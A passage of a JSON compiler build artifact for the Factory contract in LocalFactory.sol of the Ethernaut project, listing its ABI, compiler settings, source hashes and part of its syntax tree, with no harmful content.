ProxyAdmin\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"proxyStats\",\"outputs\":[{\"internalType\":\"contract ProxyStats\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"contract Level\",\"name\":\"_level\",\"type\":\"address\"}],\"name\":\"registerLevel\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"renounceOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_newOwner\",\"type\":\"address\"}],\"name\":\"transferContractsOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"transferOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{\"owner()\":{\"details\":\"Returns the address of the current owner.\"},\"renounceOwnership()\":{\"details\":\"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner.\"},\"transferOwnership(address)\":{\"details\":\"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner.\"}},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/factory/LocalFactory.sol\":\"Factory\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol\":{\"keccak256\":\"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2\",\"dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y\"]},\"lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol\":{\"keccak256\":\"0x1d4afe6cb24200cc4545eed814ecf5847277dfe5d613a1707aad5fceecebcfff\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://383fb7b8181016ac5ccf07bc9cdb7c1b5045ea36e2cc4df52bcbf20396fc7688\",\"dweb:/ipfs/QmYJ7Cg4WmE3rR8KGQxjUCXFfTH6TcwZ2Z1f6tPrq7jHFr\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Proxy.sol\":{\"keccak256\":\"0xa2b22da3032e50b55f95ec1d13336102d675f341167aa76db571ef7f8bb7975d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://96b6d77a20bebd4eb06b801d3d020c7e82be13bd535cb0d0a6b7181c51dab5d5\",\"dweb:/ipfs/QmPUR9Cv9jNFdQX6PtBfaBW1ZCnKwiu65R2VD5kbdanDyn\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Upgrade.sol\":{\"keccak256\":\"0xabf3f59bc0e5423eae45e459dbe92e7052c6983628d39008590edc852a62f94a\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://89c2a0f70157c13845be5cb49b078a6374fee3a78fa950052a3af26190255da8\",\"dweb:/ipfs/QmUcvMEQH1oMM2pUyMuDiBUKdvvnTz1NRB8bmPHrVq8725\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol\":{\"keccak256\":\"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472\",\"dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol\":{\"keccak256\":\"0xd50a3421ac379ccb1be435fa646d66a65c986b4924f0849839f08692f39dde61\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ada1e030c0231db8d143b44ce92b4d1158eedb087880cad6d8cc7bd7ebe7b354\",\"dweb:/ipfs/QmWZ2NHZweRpz1U9GF6R1h65ri76dnX7fNxLBeM2t5N5Ce\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/transparent/TransparentUpgradeableProxy.sol\":{\"keccak256\":\"0xa6a787e7a901af6511e19aa53e1a00352db215a011d2c7a438d0582dd5da76f9\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a6c4477d480bac20d681ade0e712b77ad828acf530a1d5c0abc5fb78068a05a1\",\"dweb:/ipfs/QmdBqsK8CcUceTeWzhHwFDEvKMoHimwtV96Lbim7ZBtCb8\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Address.sol\":{\"keccak256\":\"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487\",\"dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]},\"lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol\":{\"keccak256\":\"0xd5c50c54bf02740ebd122ff06832546cb5fa84486d52695a9ccfd11666e0c81d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://39e096c60a6eb1c6a257122d515496bd92d0c6a693a8f07acb6aa4b1263e95d4\",\"dweb:/ipfs/QmPs5trJBacCiSkezP6tpevapuRYWNY6mqSFzsMCJj7e6B\"]},\"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol\":{\"keccak256\":\"0x89be10e757d242e9b18d5a32c9fbe2019f6d63052bbe46397a430a1d60d7f794\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f103ee2e4aecd37aac6ceefe670709cdd7613dee25fa2d4d9feaf7fc0aaa155e\",\"dweb:/ipfs/QmRiNZLoJk5k3HPMYGPGjZFd2ke1ZxjhJZkM45Ec9GH9hv\"]},\"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol\":{\"keccak256\":\"0x9c80f545915582e63fe206c6ce27cbe85a86fc10b9cd2a0e8c9488fb7c2ee422\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://310136ad60820af4177a11a61d77a3686faf5fca4942b600e08fc940db38396b\",\"dweb:/ipfs/QmbCzMNSTL7Zi7M4UCSqBrkHtp4jjxUnGbkneCZKdR1qeq\"]},\"src/Ethernaut.sol\":{\"keccak256\":\"0x01f9997fd51455eaa7b174c8386c934f7ea7354f173cd9187ed32685432654d0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8d19eb22c9dc3f1d3766107d3edfbaedd96440668048479d7b207a359655e0e2\",\"dweb:/ipfs/QmNjBSmd4qYyq2oAz7htXgTVzTVfLV24mv66J1Muz5i67v\"]},\"src/factory/LocalFactory.sol\":{\"keccak256\":\"0xcc407eb7098201d952df8564be988852208ec68994add3eb12c03b623e81fb3c\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://84279082d2559f7e3b398fb18fc0cf3194ff6bd7b85a736f1e6f889ecc7aad8c\",\"dweb:/ipfs/QmZQNjg3Vk6SGt2V1JGXbMF7LMVwUM4eNDrLvjcsy1bPK8\"]},\"src/levels/base/Level.sol\":{\"keccak256\":\"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd\",\"dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA\"]},\"src/metrics/Statistics.sol\":{\"keccak256\":\"0x5484f46a7d8eaf3af521657b6622e28e4830bf62bbc8b7d43524461d4f6d3aca\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bb81e25a880f2fdb59a6950bac19dc3ebc9aaddafed613ee4c43a5e630ea36b5\",\"dweb:/ipfs/QmXXTsXhMFBS9KtbqonTnSyRpiYtyMpS5EpJnCRU5EoUUf\"]},\"src/proxy/ProxyAdmin.sol\":{\"keccak256\":\"0xa63000632ca5f6322238d4cb1c7376886cb23a7757b9f4fd426ace8b3f51fc8f\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8bcfe5327e21880e4e733fbfdce40f59dfbface1fd9723ea00108786640b6651\",\"dweb:/ipfs/QmcGWZxG6yW5CKsZRcADWvSLYDcF8jUuDQBLixJ6YroKoC\"]},\"src/proxy/ProxyStats.sol\":{\"keccak256\":\"0x2f7e0594da4e2eac4d49b83ec2bb702e01ae9c3efab2cb5fd56efc8793d109be\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9d16c8ba4af0a29e260df788252370b5e64c3d35691542164d2c084745ee55a2\",\"dweb:/ipfs/QmXD8kxy5UAWSeawQGEzeXFFpZEDSTyrQT51YmHYg27AgS\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address","name":"previousOwner","type":"address","indexed":true},{"internalType":"address","name":"newOwner","type":"address","indexed":true}],"type":"event","name":"OwnershipTransferred","anonymous":false},{"inputs":[],"stateMutability":"view","type":"function","name":"ethernaut","outputs":[{"internalType":"contract Ethernaut","name":"","type":"address"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"implementation","outputs":[{"internalType":"contract Statistics","name":"","type":"address"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"proxyAdmin","outputs":[{"internalType":"contract ProxyAdmin","name":"","type":"address"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"proxyStats","outputs":[{"internalType":"contract ProxyStats","name":"","type":"address"}]},{"inputs":[{"internalType":"contract Level","name":"_level","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"registerLevel"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"renounceOwnership"},{"inputs":[{"internalType":"address","name":"_newOwner","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"transferContractsOwnership"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"transferOwnership"}],"devdoc":{"kind":"dev","methods":{"owner()":{"details":"Returns the address of the current owner."},"renounceOwnership()":{"details":"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner."},"transferOwnership(address)":{"details":"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner."}},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/factory/LocalFactory.sol":"Factory"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol":{"keccak256":"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673","urls":["bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2","dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol":{"keccak256":"0x1d4afe6cb24200cc4545eed814ecf5847277dfe5d613a1707aad5fceecebcfff","urls":["bzz-raw://383fb7b8181016ac5ccf07bc9cdb7c1b5045ea36e2cc4df52bcbf20396fc7688","dweb:/ipfs/QmYJ7Cg4WmE3rR8KGQxjUCXFfTH6TcwZ2Z1f6tPrq7jHFr"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Proxy.sol":{"keccak256":"0xa2b22da3032e50b55f95ec1d13336102d675f341167aa76db571ef7f8bb7975d","urls":["bzz-raw://96b6d77a20bebd4eb06b801d3d020c7e82be13bd535cb0d0a6b7181c51dab5d5","dweb:/ipfs/QmPUR9Cv9jNFdQX6PtBfaBW1ZCnKwiu65R2VD5kbdanDyn"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Upgrade.sol":{"keccak256":"0xabf3f59bc0e5423eae45e459dbe92e7052c6983628d39008590edc852a62f94a","urls":["bzz-raw://89c2a0f70157c13845be5cb49b078a6374fee3a78fa950052a3af26190255da8","dweb:/ipfs/QmUcvMEQH1oMM2pUyMuDiBUKdvvnTz1NRB8bmPHrVq8725"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol":{"keccak256":"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27","urls":["bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472","dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol":{"keccak256":"0xd50a3421ac379ccb1be435fa646d66a65c986b4924f0849839f08692f39dde61","urls":["bzz-raw://ada1e030c0231db8d143b44ce92b4d1158eedb087880cad6d8cc7bd7ebe7b354","dweb:/ipfs/QmWZ2NHZweRpz1U9GF6R1h65ri76dnX7fNxLBeM2t5N5Ce"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/transparent/TransparentUpgradeableProxy.sol":{"keccak256":"0xa6a787e7a901af6511e19aa53e1a00352db215a011d2c7a438d0582dd5da76f9","urls":["bzz-raw://a6c4477d480bac20d681ade0e712b77ad828acf530a1d5c0abc5fb78068a05a1","dweb:/ipfs/QmdBqsK8CcUceTeWzhHwFDEvKMoHimwtV96Lbim7ZBtCb8"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Address.sol":{"keccak256":"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10","urls":["bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487","dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":{"keccak256":"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7","urls":["bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92","dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol":{"keccak256":"0xd5c50c54bf02740ebd122ff06832546cb5fa84486d52695a9ccfd11666e0c81d","urls":["bzz-raw://39e096c60a6eb1c6a257122d515496bd92d0c6a693a8f07acb6aa4b1263e95d4","dweb:/ipfs/QmPs5trJBacCiSkezP6tpevapuRYWNY6mqSFzsMCJj7e6B"],"license":"MIT"},"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol":{"keccak256":"0x89be10e757d242e9b18d5a32c9fbe2019f6d63052bbe46397a430a1d60d7f794","urls":["bzz-raw://f103ee2e4aecd37aac6ceefe670709cdd7613dee25fa2d4d9feaf7fc0aaa155e","dweb:/ipfs/QmRiNZLoJk5k3HPMYGPGjZFd2ke1ZxjhJZkM45Ec9GH9hv"],"license":"MIT"},"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol":{"keccak256":"0x9c80f545915582e63fe206c6ce27cbe85a86fc10b9cd2a0e8c9488fb7c2ee422","urls":["bzz-raw://310136ad60820af4177a11a61d77a3686faf5fca4942b600e08fc940db38396b","dweb:/ipfs/QmbCzMNSTL7Zi7M4UCSqBrkHtp4jjxUnGbkneCZKdR1qeq"],"license":"MIT"},"src/Ethernaut.sol":{"keccak256":"0x01f9997fd51455eaa7b174c8386c934f7ea7354f173cd9187ed32685432654d0","urls":["bzz-raw://8d19eb22c9dc3f1d3766107d3edfbaedd96440668048479d7b207a359655e0e2","dweb:/ipfs/QmNjBSmd4qYyq2oAz7htXgTVzTVfLV24mv66J1Muz5i67v"],"license":"MIT"},"src/factory/LocalFactory.sol":{"keccak256":"0xcc407eb7098201d952df8564be988852208ec68994add3eb12c03b623e81fb3c","urls":["bzz-raw://84279082d2559f7e3b398fb18fc0cf3194ff6bd7b85a736f1e6f889ecc7aad8c","dweb:/ipfs/QmZQNjg3Vk6SGt2V1JGXbMF7LMVwUM4eNDrLvjcsy1bPK8"],"license":"MIT"},"src/levels/base/Level.sol":{"keccak256":"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf","urls":["bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd","dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA"],"license":"MIT"},"src/metrics/Statistics.sol":{"keccak256":"0x5484f46a7d8eaf3af521657b6622e28e4830bf62bbc8b7d43524461d4f6d3aca","urls":["bzz-raw://bb81e25a880f2fdb59a6950bac19dc3ebc9aaddafed613ee4c43a5e630ea36b5","dweb:/ipfs/QmXXTsXhMFBS9KtbqonTnSyRpiYtyMpS5EpJnCRU5EoUUf"],"license":"MIT"},"src/proxy/ProxyAdmin.sol":{"keccak256":"0xa63000632ca5f6322238d4cb1c7376886cb23a7757b9f4fd426ace8b3f51fc8f","urls":["bzz-raw://8bcfe5327e21880e4e733fbfdce40f59dfbface1fd9723ea00108786640b6651","dweb:/ipfs/QmcGWZxG6yW5CKsZRcADWvSLYDcF8jUuDQBLixJ6YroKoC"],"license":"MIT"},"src/proxy/ProxyStats.sol":{"keccak256":"0x2f7e0594da4e2eac4d49b83ec2bb702e01ae9c3efab2cb5fd56efc8793d109be","urls":["bzz-raw://9d16c8ba4af0a29e260df788252370b5e64c3d35691542164d2c084745ee55a2","dweb:/ipfs/QmXD8kxy5UAWSeawQGEzeXFFpZEDSTyrQT51YmHYg27AgS"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/factory/LocalFactory.sol","id":49985,"exportedSymbols":{"Ethernaut":[49101],"Factory":[49984],"Level":[55508],"Ownable":[46700],"ProxyAdmin":[58003],"ProxyStats":[58028],"Statistics":[56450]},"nodeType":"SourceUnit","src":"32:1660:59","nodes":[{"id":49856,"nodeType":"PragmaDirective","src":"32:23:59","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":49858,"nodeType":"ImportDirective","src":"100:69:59","nodes":[],"absolutePath":"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol","file":"openzeppelin-contracts-08/access/Ownable.sol","nameLocation":"-1:-1:-1","scope":49985,"sourceUnit":46701,"symbolAliases":[{"foreign":{"id":49857,"name":"Ownable","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":46700,"src":"108:7:59","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":49860,"nodeType":"ImportDirective","src":"170:43:59","nodes":[],"absolutePath":"src/Ethernaut.sol","file":"../Ethernaut.sol","nameLocation":"-1:-1:-1","scope":49985,"sourceUnit":49102,"symbolAliases":[{"foreign":{"id":49859,"name":"Ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49101,"src":"178:9:59","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":49862,"nodeType":"ImportDirective","src":"214:53:59","nodes":[],"absolutePath":"src/metrics/Statistics.sol","file":"../metrics/Statistics.sol","nameLocation":"-1:-1:-1","scope":49985,"sourceUnit":56451,"symbolAliases":[{"foreign":{"id":49861,"name":"Statistics","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56450,"src":"222:10:59","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":49864,"nodeType":"ImportDirective","src":"268:51:59","nodes":[],"absolutePath":"src/proxy/ProxyStats.sol","file":"../proxy/ProxyStats.sol","nameLocation":"-1:-1:-1","scope":49985,"sourceUnit":58029,"symbolAliases":[{"foreign":{"id":49863,"name":"ProxyStats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58028,"src":"276:10:59","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":49866,"nodeType":"ImportDirective","src":"320:51:59","nodes":[],"absolutePath":"src/proxy/ProxyAdmin.sol","file":"../proxy/ProxyAdmin.sol","nameLocation":"-1:-1:-1","scope":49985,"sourceUnit":58004,"symbolAliases":[{"foreign":{"id":49865,"name":"ProxyAdmin","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58003,"src":"328:10:59","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":49868,"nodeType":"ImportDirective","src":"372:47:59","nodes":[],"absolutePath":"src/levels/base/Level.sol","file":"../levels/base/Level.sol","nameLocation":"-1:-1:-1","scope":49985,"sourceUnit":55509,"symbolAliases":[{"foreign":{"id":49867,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"380:5:59","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":49984,"nodeType":"ContractDefinition","src":"467:1224:59","nodes":[{"id":49873,"nodeType":"VariableDeclaration","src":"501:26:59","nodes":[],"constant":false,"functionSelector":"a7e1acdf","mutability":"mutable","name":"ethernaut","nameLocation":"518:9:59","scope":49984,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},"typeName":{"id":49872,"nodeType":"UserDefinedTypeName","pathNode":{"id":49871,"name":"Ethernaut","nameLocations":["501:9:59"],"nodeType":"IdentifierPath","referencedDeclaration":49101,"src":"501:9:59"},"referencedDeclaration":49101,"src":"501:9:59","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"visibility":"public"},{"id":49876,"nodeType":"VariableDeclaration","src":"533:28:59","nodes":[],"constant":false,"functionSelector":"3e47158c","mutability":"mutable","name":"proxyAdmin","nameLocation":"551:10:59","scope":49984,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_ProxyAdmin_$58003","typeString":"contract ProxyAdmin"},"typeName":{"id":49875,"nodeType":"UserDefinedTypeName","pathNode":{"id":49874,"name":"ProxyAdmin","nameLocations":["533:10:59"],"nodeType":"IdentifierPath","referencedDeclaration":58003,"src":"533:10:59"},"referencedDeclaration":58003,"src":"533:10:59","typeDescriptions":{"typeIdentifier":"t_contract$_ProxyAdmin_$58003","typeString":"contract ProxyAdmin"}},"visibility":"public"},{"id":49879,"nodeType":"VariableDeclaration","src":"567:32:59","nodes":[],"constant":false,"functionSelector":"5c60da1b","mutability":"mutable","name":"implementation","nameLocation":"585:14:59","scope":49984,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"},"typeName":{"id":49878,"nodeType":"UserDefinedTypeName","pathNode":{"id":49877,"name":"Statistics","nameLocations":["567:10:59"],"nodeType":"IdentifierPath","referencedDeclaration":56450,"src":"567:10:59"},"referencedDeclaration":56450,"src":"567:10:59","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"visibility":"public"},{"id":49882,"nodeType":"VariableDeclaration","src":"605:28:59","nodes":[],"constant":false,"functionSelector":"6adb97c8","mutability":"mutable","name":"proxyStats","nameLocation":"623:10:59","scope":49984,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_ProxyStats_$58028","typeString":"contract ProxyStats"},"typeName":{"id":49881,"nodeType":"UserDefinedTypeName","pathNode":{"id":49880,"name":"ProxyStats","nameLocations":["605:10:59"],"nodeType":"IdentifierPath","referencedDeclaration":58028,"src":"605:10:59"},"referencedDeclaration":58028,"src":"605:10:59","typeDescriptions":{"typeIdentifier":"t_contract$_ProxyStats_$58028","typeString":"contract ProxyStats"}},"visibility":"public"},{"id":49944,"nodeType":"FunctionDefinition","src":"640:528:59","nodes":[],"body":{"id":49943,"nodeType":"Block","src":"654:514:59","nodes":[],"statements":[{"expression":{"id":49890,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":49885,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49873,"src":"706:9:59","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[],"expression":{"argumentTypes":[],"id":49888,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"718:13:59","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$__$returns$_t_contract$_Ethernaut_$49101_$","typeString":"function () returns (contract Ethernaut)"},"typeName":{"id":49887,"nodeType":"UserDefinedTypeName","pathNode":{"id":49886,"name":"Ethernaut","nameLocations":["722:9:59"],"nodeType":"IdentifierPath","referencedDeclaration":49101,"src":"722:9:59"},"referencedDeclaration":49101,"src":"722:9:59","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}}},"id":49889,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"718:15:59","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"src":"706:27:59","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"id":49891,"nodeType":"ExpressionStatement","src":"706:27:59"},{"expression":{"id":49897,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":49892,"name":"proxyAdmin","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49876,"src":"743:10:59","typeDescriptions":{"typeIdentifier":"t_contract$_ProxyAdmin_$58003","typeString":"contract ProxyAdmin"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[],"expression":{"argumentTypes":[],"id":49895,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"756:14:59","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$__$returns$_t_contract$_ProxyAdmin_$58003_$","typeString":"function () returns (contract ProxyAdmin)"},"typeName":{"id":49894,"nodeType":"UserDefinedTypeName","pathNode":{"id":49893,"name":"ProxyAdmin","nameLocations":["760:10:59"],"nodeType":"IdentifierPath","referencedDeclaration":58003,"src":"760:10:59"},"referencedDeclaration":58003,"src":"760:10:59","typeDescriptions":{"typeIdentifier":"t_contract$_ProxyAdmin_$58003","typeString":"contract ProxyAdmin"}}},"id":49896,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"756:16:59","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_ProxyAdmin_$58003","typeString":"contract ProxyAdmin"}},"src":"743:29:59","typeDescriptions":{"typeIdentifier":"t_contract$_ProxyAdmin_$58003","typeString":"contract 